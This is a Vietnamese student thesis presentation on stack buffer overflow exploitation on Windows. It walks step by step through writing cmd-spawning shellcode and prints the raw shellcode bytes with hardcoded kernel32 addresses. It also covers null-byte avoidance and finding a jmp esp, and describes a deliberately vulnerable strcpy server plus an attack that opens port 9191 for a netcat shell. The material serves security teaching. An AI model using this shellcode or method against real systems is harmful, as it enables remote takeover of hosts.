Tải bản đầy đủ (.ppt) (17 trang)

Tìm hiểu kỹ thuật tấn công thông qua lỗi Tràn bộ đệm trên Window

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (244.29 KB, 17 trang )

Trường Đại Học Dân Lập Hải Phòng
Khoa Công Nghệ Thông Tin
BÁO CÁO ĐỒ ÁN TỐT NGHIỆP
Đề tài: Tìm hiểu kỹ thuật tấn công thông qua

lỗi

Tràn bộ đệm trên Window

Giáo viên hướng dẫn: Th.S Đỗ Xuân Toàn
Sinh viên: Nguyễn Đình Hồng


Nội dung trình bày
1. Tổng quan về lỗi Tràn bộ đệm
2. Kỹ thuật tấn công lỗi Tràn bộ đệm trên window
3. Chương trình Demo
4. Kết luận


Tổng quan về lỗi tràn bộ đệm
1.1.Tổ chức bộ nhớ cho các tiến trình
- Bộ nhớ được phân chia
thành 2:
+ user mode
+ kernel mode
Mặc định, 2GB của không gian nhớ ảo được cung cấp
cho user mode, vùng địa chỉ 0x00000000 - 0x7fffffff, và
phần còn lại, 0x80000000 - 0xBfffffff được dành cho
kernel mode.



Tổng quan về lỗi tràn bộ đệm
1.2.Tổ chức bộ nhớ của một tiến trình
- Không gian nhớ gồm
%EBP
3 vùng:
+ vùng ngăn xếp
+ vùng dữ liệu
%ESP
+ vùng mã lệnh

Bộ nhớ của ngăn xếp sẽ lớn dần về phía cuối vùng
nhớ khi có nhiều dữ liệu được đẩy vào.


Tổng quan về lỗi tràn bộ đệm
1.3.Lỗi tràn bộ đệm
Xét ví dụ:
void fun(char *str){
buffer[126] ; //Cấp phát bộ nhớ cục bộ 126 bytes trên stack
strcpy(buffer,str) ; //Sao chép đối số vào bộ đệm stack
}
Nếu ta gọi hàm:
char *str="AAAAAA.......AAAAAAAA" ; //127 chữ A
Một lỗi tràn bộ đệm sẽ xảy ra


Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
2.1 Khai thác lỗi tràn bộ đệm



Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
2.2 Cách xây dựng hàm chức năng khi tấn công
(shellcode)
- Bước 1: Chúng ta sẽ viết một chương trình, ví dụ viết chương
trình để chạy CMD-Shell bằng Visual C:
#include <windows.h>
main()
{char buf[4];
buf[0]='c';
buf[1]='m';
buf[2]='d';
buf[3]='\0';
WinExec(buf,SW_SHOW);
exit(1);}


Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
- Bước 2: dịch sang assembly (chạy debug -> disassembly)
push
ebp
mov
ebp,esp
push
ebx
push
esi

push
edi
mov
byte ptr [ebp-4],63h
mov
byte ptr [ebp-3],6Dh
mov
byte ptr [ebp-2],64h
mov
byte ptr [ebp-1],0
push
5
lea
eax,[ebp-4]
push
eax
call
dword ptr [__imp__WinExec@8 (0042413c)]
push
1
call
exit (004010c0)


Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
- Bước 3: Xác định địa chỉ của các hàm cần dùng trong dll
của windows.
Trong ví dụ: Chúng ta cần xác định 2 địa chỉ của hàm WinExec
và ExitProcess.

Địa chỉ của WinExec là địa chỉ của KERNEL + địa chỉ
con trỏ của WinExec.
WinExec = 0x7c800000 + 0x6114d = 0x7c86114d
Địa chỉ của WinExec là địa chỉ của KERNEL + địa chỉ
con trỏ của ExitProcess.
ExitProcess = 0x7c800000 + 0x1caa2 = 0x7c81caa2
Lưu ý: Mỗi phiên bản Windows có 1 địa chỉ cho các dll cơ sở khác nhau


Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
- Bước 4: Dịch sang mã máy
Ta được shellcode như sau:
"\x55\x89\xE5\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D
\xC6\x45\xFE\x64\xC6\x45\xFF\x00\x68\x05\x00\x00\x00
\x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x68\x01
\x00\x00\x00\xB8\xA2\xCA\x81\x7C\xFF\xD0";
Ta có thể dùng debug trong visual C hoặc dùng hex edit
để đọc mã tác vụ


Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
-

Bước 5: Xử lý byte NULL
Do các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký
tự null (\0), vì vậy shellcode phải không được chứa bất kỳ giá
trị null nào. Ta sẽ sử dụng thủ thuật sau:
Sửa đoạn mã assembly bằng cách đặt con trỏ ngăn xếp

ESP trỏ đến vị trí của EBP. Sau đó, thực hiện XOR ESI
(thực hiện XOR zero vào ESI)
Ví dụ: push $0x00
Sẽ được thay thế tương đương bằng:
xor eax, eax
push eax


Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
- Bước 6: Tìm bước nhảy
Chúng ta dùng công cụ findjmp để tìm bước nhảy đến con
trỏ ESP.
cú pháp:
findjmp kernel32.dll esp


Kỹ thuật tấn công lỗi
Tràn bộ đệm trên window
- Bước 7: Gửi shellcode tới server thử nghiệm
Begin
Khởi tạo buffer chứa
shellcode
Khởi tạo socket để kết
nối tới server

Kết nối tới
server ?
Not ok


ok
Send buffer
End


Chương trình Demo
Chúng ta sẽ viết một ứng dụng client/server không an toàn
và sẽ thực hiện khai thác.
3.1 Chương trình server
Trong ứng dụng server có 2 mảng ký tự được khai báo: “buf” và
“Message”. Buf được cấp phát 2000 byte, trong khi Message được
cấp phát 5000 byte.
Khi nhận Message nó copy vào buf thông qua hàm pr (gây ra
lỗi).
void pr( char *str)
{
char buf[2000]="";
strcpy(buf,str);
}


Chương trình Demo
3.1 Chương trình server
- Lắng nghe trên cổng do ta tự thiết lập
3.2 Chương trình client
- Gửi một thông điệp tới server thông qua cổng
3.3 Chương trình tấn công
- Gửi một shellcode tới server thực hiện mở cổng 9191
- Dùng netcat (nc) để kết nối tới server qua cổng 9191 và thực
thi shellcode chạy CMD



Kết Luận
- Qua đề tài này, tìm hiểu được những lỗi tràn bộ
đệm, cách khai thác lỗi tràn bộ đệm stack để tấn công
một host từ xa. Từ đó rút ra được các kiến thức bao
gồm các yêu cầu về bảo mật tối thiểu khi xây dựng một
ứng dụng trên mạng. Biết các dò tìm những lỗi tràn bộ
đệm stack trong các ứng dụng mạng và phương pháp
tấn công vào các lỗi đó.
- Hướng phát triển của đề tài: Xây dựng những
chương trình dò lỗ hổng tràn bộ đệm của các ứng dụng
trên mạng. Tìm những phương pháp để vá các lỗ hổng
đó khi nó xuất hiện.


Em xin Chân thành cảm ơn



×